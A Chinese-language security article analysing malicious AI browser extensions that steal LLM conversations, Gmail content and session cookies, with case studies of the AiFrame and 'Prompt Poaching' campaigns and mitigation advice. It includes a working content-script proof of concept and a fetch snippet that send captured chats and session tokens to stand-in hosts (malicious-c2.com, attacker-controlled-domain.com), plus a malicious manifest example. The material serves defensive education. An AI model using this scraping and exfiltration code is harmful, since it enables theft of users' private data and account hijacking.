恶意AI浏览器扩展窃取LLM敏感数据分析

恶意AI浏览器扩展窃取LLM敏感数据分析

近期,恶意浏览器扩展程序已成为窃取大型语言模型(LLM)敏感数据的新兴威胁载体。这些扩展通常伪装成生产力工具或AI助手,在用户不经意间获取广泛权限,从而秘密收集用户与LLM(如ChatGPT、Gemini、DeepSeek等)的交互内容、个人身份信息(PII)以及企业内部数据,并将其回传至攻击者控制的远程服务器。这种攻击模式直接危及个人隐私和企业数据安全。

攻击机制分析

恶意AI浏览器扩展利用多种技术手段实施数据窃取。这些方法涵盖从前端JavaScript注入到利用浏览器API的权限滥用。

恶意代码注入与DOM操作

最常见的攻击方式是通过内容脚本(content scripts)向用户访问的网页注入恶意JavaScript代码。这些代码能够实时监听、修改或提取页面上的内容。例如,攻击者可以注入脚本来抓取用户在LLM聊天界面中输入的提示词(prompts)和LLM生成的响应(responses)。


// 恶意内容脚本示例:窃取ChatGPT聊天记录
// 注意:此为概念验证,实际攻击代码通常经过混淆和动态加载
(function() {
    const exfiltrateData = (data) => {
        fetch('https://malicious-c2.com/exfil', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify(data)
        }).catch(e => console.error("Exfiltration failed:", e));
    };

    const observeChat = () => {
        // 假设LLM聊天容器的CSS选择器,实际可能因LLM服务而异
        const chatContainer = document.querySelector('.main-container'); 
        if (chatContainer) {
            const observer = new MutationObserver(mutations => {
                mutations.forEach(mutation => {
                    if (mutation.type === 'childList' || mutation.type === 'characterData') {
                        // 提取用户输入和AI响应,假设特定的DOM结构
                        const userInputs = Array.from(document.querySelectorAll('.user-message-selector')).map(el => el.textContent);
                        const aiResponses = Array.from(document.querySelectorAll('.ai-response-selector')).map(el => el.textContent);
                        
                        // 组合并发送数据
                        const chatHistory = {
                            timestamp: new Date().toISOString(),
                            url: window.location.href,
                            user_inputs: userInputs,
                            ai_responses: aiResponses
                        };
                        console.log("Captured chat history:", chatHistory); // For demonstration
                        exfiltrateData(chatHistory);
                    }
                });
            });

            observer.observe(chatContainer, { childList: true, subtree: true, characterData: true });
            console.log("Monitoring LLM chat interactions...");
        } else {
            console.log("LLM chat container not found. Retrying...");
            setTimeout(observeChat, 2000);
        }
    };

    // 在页面加载后启动监控
    if (document.readyState === 'loading') {
        document.addEventListener('DOMContentLoaded', observeChat);
    } else {
        observeChat();
    }
})();

在AiFrame攻击活动中,攻击者就利用JavaScript在mail.google.com页面加载阶段(document_start)运行专用脚本并注入界面元素,直接从DOM中读取可见邮件内容,并通过.textContent持续提取邮件会话文本,甚至包括邮件草稿,并将这些敏感信息上传至攻击者控制的第三方后端服务器。这些扩展还内置远程触发的语音识别与转录功能,通过Web Speech API录音并回传结果,可能窃取受害者所处环境的对话内容。

权限滥用

浏览器扩展程序在安装时会请求一系列权限。恶意扩展往往会请求与其宣称功能不符的宽泛权限,例如“读取和更改您访问的所有网站上的所有数据”("permissions": ["<all_urls>"])、访问浏览历史记录、Cookie、剪贴板甚至进行桌面捕获。一旦用户授权,这些权限便成为数据窃取的基石。

下表列出了一些恶意扩展常滥用的关键权限及其潜在影响:

权限 (Manifest V3) 描述 潜在滥用行为
"scripting" 允许扩展在页面中注入和执行脚本。 内容脚本注入,DOM操作以窃取数据,会话劫持。
"activeTab" 在用户主动调用时,对当前活动标签页临时授予主机权限。 在用户交互后窃取当前页面数据,常与误导性功能结合。
"host_permissions": ["<all_urls>"] 允许扩展访问所有URL上的数据。 窃取任意网站的敏感数据(包括LLM交互),监控浏览历史,修改网页内容。
"cookies" 允许扩展访问和修改Cookie。 窃取会话Cookie以进行会话劫持,绕过身份验证。
"webRequest", "webRequestBlocking" 允许扩展拦截、阻止或修改网络请求。 拦截API请求和响应以窃取或篡改数据,绕过CSP。
"clipboardRead", "clipboardWrite" 允许扩展读写剪贴板内容。 窃取用户复制粘贴的敏感信息,如密码、API密钥。
"history" 允许扩展访问和修改浏览器历史记录。 监控用户访问的LLM服务,分析其使用模式。

数据外传机制

窃取到的敏感数据(如LLM对话内容、会话令牌、企业内部URL等)需要被发送到攻击者控制的命令与控制(C2)服务器。攻击者通常利用标准Web协议(如HTTP/HTTPS)进行通信,以混入正常流量,规避防火墙和代理的出站流量检查。


// 示例:通过Fetch API将窃取数据发送到C2服务器
const sensitiveData = {
    llm_chat: "用户与LLM的对话内容",
    session_token: "用户会话令牌"
};

fetch('https://attacker-controlled-domain.com/data', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json'
    },
    body: JSON.stringify(sensitiveData)
})
.then(response => response.json())
.then(data => console.log('Exfil success:', data))
.catch((error) => console.error('Exfil error:', error));

会话劫持

某些恶意扩展专注于窃取会话Cookie或身份验证令牌,从而实现会话劫持,使攻击者无需密码即可访问受害者的账户,甚至绕过多因素认证(MFA)。例如,针对Workday、NetSuite和SAP SuccessFactors的攻击活动中,恶意扩展会持续窃取名为_session的Cookie,并每60秒传输到C2服务器,以确保攻击者持有有效令牌。

内容安全策略 (CSP) 绕过

内容安全策略(CSP)旨在通过指定可信的内容源来缓解XSS等注入攻击。然而,恶意浏览器扩展可以通过多种方式绕过或禁用CSP。例如,利用浏览器的webRequest API拦截HTTP响应头,并将Content-Security-Policy头的值清空,从而在特定标签页禁用CSP限制。尽管一些早期的浏览器漏洞(如Chrome的CVE-2017-5033和Safari的CVE-2017-2419)曾被用于绕过CSP,但扩展程序的强大权限使得即使没有这些漏洞,也能实现类似效果。

WebRTC 泄露

Web Real-Time Communication (WebRTC) 功能用于浏览器间的实时通信,但它可能在用户使用代理或VPN时泄露用户的真实IP地址,甚至内部IP地址。恶意扩展虽然不直接利用WebRTC窃取LLM数据,但结合其他窃密行为,通过WebRTC获取的真实IP地址可以帮助攻击者追踪受害者或规避安全措施。已有扩展如“WebRTC Leak Prevent”专门通过控制WebRTC隐私设置来防止此类泄露。

典型案例研究

AiFrame 攻击活动

2026年2月14日披露的AiFrame攻击活动揭示了超过30款恶意Chrome浏览器扩展伪装成AI助手窃取用户账号凭证、邮件内容和浏览信息。这些扩展程序共被超过30万用户安装,并归属于同一攻击团伙,与域名tapnetic.pro下的攻击基础设施通信。

  • 流行扩展: Gemini AI Sidebar (ID: fppbiomdkfbhgjjdmojlogeceejinadg) 用户量达8万,已被下架。其他如AI SidebarAI AssistantChatGPT Translate等也榜上有名。
  • 窃取机制: 这些扩展在本地并未实现任何AI功能,而是通过全屏iframe加载远程域名内容提供所谓“AI服务”。攻击者可随时修改扩展逻辑,无需推送更新即可改变行为,从而绕过应用商店的重新审核。
  • 目标数据: 重点针对Gmail数据,通过在mail.google.com页面加载阶段注入脚本,直接从DOM读取邮件会话文本甚至草稿。此外,还内置远程触发的语音识别与转录功能,通过Web Speech API录音并回传结果,可能窃取受害者所处环境的对话内容。

Prompt Poaching 攻击

2026年1月6日,安全研究人员发现两款新型恶意Chrome扩展程序,专门窃取用户与OpenAI ChatGPT和DeepSeek等大型语言模型的对话内容,并将浏览数据外传至攻击者控制的服务器。Secure Annex将这种通过浏览器扩展窃取AI对话的行为命名为“Prompt Poaching”(提示词掠夺)。

  • 涉事扩展: Chat GPT for Chrome with GPT-5, Claude Sonnet (ID: fnmihdojmnkclgjpcoonokmkhjpjechg,约60万用户) 和 AI Sidebar with ChatGPT, Claude, and more. (ID: inhcgfpbfdjbjogdfjbclgolkmhnooop,约30万用户)。
  • 数据外传: 这些扩展每30分钟就会将用户对话内容和所有Chrome标签页URL外传至远程C2服务器(如chatsaigpt[.]comdeepaichats[.]com)。
  • 潜在危害: 可能导致ChatGPT对话内容、搜索记录、企业内部URL等多种敏感信息被窃取,用于企业间谍活动、身份盗窃或定向钓鱼攻击。

技术分析与防御

扩展程序权限模型

浏览器扩展程序通过manifest.json文件声明其所需权限。安全研究人员应仔细审计此文件,识别任何不必要的或过于宽泛的权限请求。例如,请求"<all_urls>"权限的扩展应引起高度警惕。


{
  "manifest_version": 3,
  "name": "Malicious AI Assistant",
  "version": "1.0",
  "description": "一个提供高级AI功能的浏览器扩展。",
  "permissions": [
    "activeTab",
    "scripting",
    "webRequest",
    "cookies",
    "storage"
  ],
  "host_permissions": [
    "https://*/*",
    "http://*/*"
  ],
  "background": {
    "service_worker": "background.js"
  },
  "content_scripts": [
    {
      "matches": ["*://chat.openai.com/*", "*://gemini.google.com/*"],
      "js": ["content.js"],
      "run_at": "document_idle"
    }
  ]
}

上述manifest.json示例中,"host_permissions": ["https://*/*", "http://*/*"]以及"scripting""webRequest"权限组合赋予了扩展程序极高的能力,足以在用户访问的所有网站上执行代码、窃取数据和拦截网络请求。

JavaScript 运行时分析

利用浏览器开发者工具(Developer Tools)可以检查扩展程序的内容脚本,分析其在页面中的行为。通过Sources面板审查加载的脚本,并在关键函数处设置断点,可以观察数据提取和外传的过程。网络流量分析工具如Burp Suite或mitmproxy可用于捕获和检查扩展程序发起的HTTP/HTTPS请求,从而发现数据外传的目标C2服务器。


# 使用mitmproxy拦截HTTPS流量示例
mitmproxy -p 8080 --set block_global=false

# 在浏览器中配置代理为 localhost:8080

代码审计与反混淆

恶意扩展的代码通常经过高度混淆(obfuscated)以逃避检测。对可疑扩展进行代码审计,使用JavaScript反混淆工具可以帮助揭示其真实意图。分析background.js和内容脚本是发现恶意逻辑的关键。

缓解策略

  • 严格的扩展程序审核与管理: 企业应实施严格的浏览器扩展程序管理策略,仅允许安装经过内部安全团队审核和批准的扩展程序。员工应被教育只从官方商店下载扩展,并警惕请求过多权限的程序。
  • 最小权限原则: 仅授予扩展程序完成其功能所需的最小权限。用户在安装时应仔细审查权限请求,并拒绝不合理或不必要的权限。
  • 内容安全策略 (CSP) 强化: 网站应实施严格的CSP,特别是基于Nonce或Hash的严格CSP,以减少恶意脚本注入的风险,即便扩展程序尝试绕过也增加攻击难度。
  • 浏览器沙箱机制: 现代浏览器(如Chrome)的沙箱(sandbox)机制可以隔离不同网页和扩展程序的执行环境,限制其对操作系统资源的访问。
  • 企业级浏览器安全解决方案: 部署专门的企业级浏览器安全平台(如LayerX),可以主动识别和阻止恶意扩展活动,提供比传统端点和网络安全堆栈更细粒度的控制和监控。
  • OpenAI 锁定模式: 对于使用ChatGPT等LLM的用户,可以利用OpenAI提供的“锁定模式”(Lockdown Mode)等高级安全设置,该模式严格限制ChatGPT与外部系统的交互方式,以降低提示注入引发的数据外泄风险,例如将网页浏览限制为缓存内容。
  • 定期安全检查: 用户应定期检查已安装的浏览器扩展,卸载不再使用或来源可疑的扩展。定期使用浏览器内置的恶意软件扫描器或第三方安全工具进行扫描。

恶意AI浏览器扩展对LLM敏感数据的窃取是一个持续演进的威胁。攻击者不断更新其技术,利用社会工程学和代码混淆来规避检测。持续的技术研究、严格的安全实践和用户教育是应对此类威胁的关键。